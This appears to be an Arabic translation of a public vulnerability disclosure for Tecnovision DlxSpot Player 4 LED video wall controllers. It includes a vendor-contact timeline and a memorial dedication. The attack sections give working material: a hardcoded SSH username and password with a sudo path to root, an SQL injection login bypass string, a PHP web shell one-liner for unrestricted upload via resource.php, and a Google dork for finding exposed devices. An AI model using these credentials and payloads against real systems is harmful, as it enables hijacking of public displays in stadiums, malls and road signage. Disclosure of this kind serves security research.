ثغرات واستغلالات Tecnovision LED Video Wall. من SQLi إلى وصول كامل بصلاحيات الجذر.

مقدمة:

Tecnovision هي شركة مصنّعة لجدران الفيديو LED المستخدمة في الملاعب (على سبيل المثال، ملعب تويكنهام)، وقاعات الحفلات الموسيقية، ومراكز التسوق، وكاللوحات الإرشادية على الطرق، وغيرها الكثير الكثير. برنامج DlxSpot Player 4 هو وحدة التحكم البرمجية لبعض هذه الجدران LED. هذه هي الاستغلالات غير المُصحّحة التي اكتشفتها والتي قادت (تلاعب لفظي!) من SQLi إلى وصول كامل بصلاحيات الجذر. (يُرجى ملاحظة أن كلمة المرور المشفّرة في الكود كانت آخر اكتشاف، وهي مرتبة في هذه القائمة فقط حسب أرقام CVE المخصصة لها) شكرًا لك على وقتك في قراءة هذا. إذا كانت لديك أي أسئلة، راسلني على تويتر @unknownpwn

أود إهداء هذا العمل إلى صديقي وصِهري الذي توفي مؤخرًا، ماركوس أوستروم. ارقد في سلام. 1994-04-05 ✞ 2017-09-11

الجدول الزمني:

2017-05-14 - اكتشاف الثغرات.
2017-05-15 - التواصل مع Tecnovision عبر نموذج الاتصال في الصفحة الرئيسية للشركة المصنّعة.
2017-06-01 - لا رد، حاولت التواصل مرة أخرى عبر عدة نماذج اتصال في الصفحة الرئيسية.
2017-08-10 - التواصل مع Common Vulnerabilities and Exposures (CVE) لطلب تخصيص رقم CVE.
2017-08-17 - تم تخصيص ثلاثة أرقام CVE للثغرات المكتشفة.
2017-08-22 - بمساعدة زميل الهاكر وصديقي byt3bl33d3r، أُرسل بريد إلكتروني باللغة الإيطالية إلى الشركة.
2017-09-18 - لا رد، كشف عام كامل.

1. كلمة مرور SSH الجذرية المشفّرة في الكود.

# Exploit Title: DlxSpot - Player4 LED video wall - Hardcoded Root SSH Password.
# Google Dork: "DlxSpot - Player4"
# Date: 2017-05-14
# Discoverer: Simon Brannstrom 
# Authors Website: https://unknownpwn.github.io/ 
# Vendor Homepage: http://www.tecnovision.com/
# Software Link: n/a
# Version: All known versions
# Tested on: Linux
# About: DlxSpot is the software controlling Tecnovision LED Video Walls all over the world, they are used in football arenas, concert halls, shopping malls, as roadsigns etc.
# CVE: CVE-2017-12928
# Linked CVE's: CVE-2017-12929, CVE-2017-12930

كلمة مرور مشفّرة في الكود لجميع أجهزة DlxSpot Player 4، يمكن الوصول إليها عبر SSH على المنفذ 22 كإعداد افتراضي. تسجيل الدخول بصلاحيات الجذر معطّل.

اسم المستخدم: dlxuser كلمة المرور: tecn0visi0n

بعد تسجيل الدخول، استخدم sudo su مع نفس كلمة المرور لرفع الصلاحيات إلى الجذر.

2. حقن SQL في واجهة الإدارة

# Exploit Title: DlxSpot - Player4 LED video wall - Admin Interface SQL Injection
# Google Dork: "DlxSpot - Player4"
# Date: 2017-05-14
# Discoverer: Simon Brannstrom
# Authors Website: https://unknownpwn.github.io/
# Vendor Homepage: http://www.tecnovision.com/
# Software Link: n/a
# Version: >1.5.10
# Tested on: Linux
# About: DlxSpot is the software controlling Tecnovision LED Video Walls all over the world, they are used in football arenas, concert halls, shopping malls, as roadsigns etc.
# CVE: CVE-2017-12930
# Linked CVE's: CVE-2017-12928, CVE-2017-12929

يعاني DlxSpot Player 4 في الإصدارات الأحدث من 1.5.10 من ثغرة حقن SQL في واجهة الإدارة ويمكن استغلالها > بالحقن التالي.

اسم المستخدم:admin كلمة المرور:x' or 'x'='x

3. رفع ملفات عشوائي يؤدي إلى تنفيذ أوامر عن بُعد (RCE)

# Exploit Title: DlxSpot - Player4 LED video wall - Arbitrary File Upload to RCE
# Google Dork: "DlxSpot - Player4"
# Date: 2017-05-14
# Discoverer: Simon Brannstrom
# Authors Website: https://unknownpwn.github.io/ 
# Vendor Homepage: http://www.tecnovision.com/
# Software Link: n/a
# Version: >1.5.10
# Tested on: Linux
# About: DlxSpot is the software controlling Tecnovision LED Video Walls all over the world, they are used in football arenas, concert halls, shopping malls, as roadsigns etc.
# CVE: CVE-2017-12929
# Linked CVE's: CVE-2017-12928, CVE-2017-12930.

DlxSpot Player 4 - رفع ملفات عشوائي وغير مقيّد في resource.php يؤدي إلى تنفيذ أوامر عن بُعد.

قم بزيارة http://host/resource.php وارفع قشرة PHP. على سبيل المثال: <?php system($_GET["c"]); ?>
تنفيذ الأوامر عن بُعد عبر http://host/resource/source/shell.php?c=id
المخرجات: www-data

MMMMMMMMWXd;'  .xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXc..,cdKWMMMMMMMM
MMMMMMMXd:;.    ,0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNl    .;cdKWMMMMMM
MMMMMWO;.;,   .  :XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWd.     ':';xWMMMMM
MMMMWx.',;'  'c.  oNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk.  :;  .,;,.oNMMMM
MMMWd..l,''  .:'  .dWMMMMMMWWWXNMMMMMMNNWWWMMMMMMWk.  .:,  .,'l,.oNMMM
MMWk,;lc.., ..,;   .dNMMMMXdkO:xMMMMMWxc0kxNMMMMWk.   ,,.. ''.:o,.dWMM
MMXodxc' .,....;'   .lXMMWd';,.cXMMMMK:.;;'xWMMXo.   .;... ,. 'lxdl0MM
MXkoo;'.  ;,'' ';..   'dKk,....;0MMMMO'....;OXx,    .;' .'':. .,:xdONM
Nl';;...  :l:;,. ',..   .'..'..cONWWXO:.''..,.    .,'.',::lc. .'.:c;lX
0l;,'... .'l:.......'....      .;0WWk'.       ...'.....'.cl,. ...';;:k
Kx;.. .. ..', .,;,....'','.....,OWMMNd......',''....,:'..;,.. .. .':kK
x:... .. ...' .. ,l;.'. .. ...lKMMMMMWO:.'. .. ...:l'....,... .. ...ck
:,..  .. ...,... ..';,,''..,;;OWMMMMMMNo,:' .,',;;''. ...,... .. ...,c
,'.'. .. .. .',,.'..,.''..'..lNMMMMMMMM0;.''..;.., ...,''...  .. .'.',
c',c. .. .. .;c;':,.:'....;::xXMMMMMMMMOl;;,....;:.;,'cc, ..  '. .l'':
k;,,. .'. ...;'';::,,,.',;OXNWWMMMMMMMMWNX0l',..:,,lc;':, .. .'  .c,;k
k:'..  ;, ...;..,.'ll:ckkxXMMMMMMMMMMMMMMMWkdxo::l:',,.'; .. ,,  .'':O
0c..'  lo...'c.'c..kNOxXMWWMMMM R I P MMMMWNWWOx0K: ;:.;:....o; .'.'l0
Xl..;. o0;.':o,.dc.kMWNWMMMMMMMMMMMMMMMMMMMMMWNNMX:.d:.lc'. c0; ', .xX
Wl ,k:.ckd..oOc.o0cdWMMMMMMM M A R C U S MMMMMMMM0:dO'.xx:.,kO, ll..kM
Nc.okl,::ol'cxd,;KK0WMMMMMMMMMMMMMMMMMMMMMMMMMMMM0OXd.ckx;'dol,,kk,.xM
Nc;c.:ol..loc:dx:kMWMMMMMMM  A S T R O M  MMMMMMWWXccklccoc.:ll:ll'xMM
Noc' .oo' .lo':KO0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMKxKo,lkc  lk: .::kM
NOx' .',,  ..  .dWMMMM 1994-04-05 ✞ 2017-09-11 MMMMWWO' ';. .::'  cdOM
WN0, ,;.,. ... .OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMX:  .. .;.., .dKXM
MMN: lx..;. .,. ,0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXc  ''  ,,.co..OWWM
MMWd'lk:.':. 'c' ,0WMMMMMMM FOREVER LOVED MMMMMMMMXc .:;  ;;.'kx.:XMMM
MMW0dlcc,.;l. ,xd,;OWMMMMM NEVER FORGOTTEN MMMMMW0:.cd: .::..cdocxWMMM
MMNo;,:;';'co' 'kXkkXMMMMMMMMMMMMMMMMMMMMMMMMMMMXxx0O; .ll',;::cokNMMM
MMX: .l: .,co:'..dNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWWWk'.'ldc;'.:c. :XMMM
MM0' 'Ol   cl..;:,lXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXo,,,.'oc.  ox. ;KMMM
MWd..xNl  .lc  ,0KdxXMMMMMMMMMMMMMMMMMMMMMMMMMMWKdo0k'  lc   dXc .OMMM
WO;:OWNc  .kd  .OMMNNNWMMMMMMMMMMMMMMMMMMMMMMMMMWXNWMx. .xd.  oWXc.cXMM
WK0NMMK,  cNx. 'OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMx. '00'  lNMNOd0WM
MMMMMMk. ,0Mk. ;KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMk. ,KWo. ;KMMMMMMM
MMMMMNc 'OWMk..dWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK; ;XMXc .kMMMMMMM
MMMMMk';0WMMk':XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWx.;XMMXc.cNMMMMMM
MMMMXddXMMMM0xKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNdoNMMMNd:OMMMMMM
MMMMNXWMMMMMWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNXWMMMMWOkNMMMMM

unknownpwn.github.io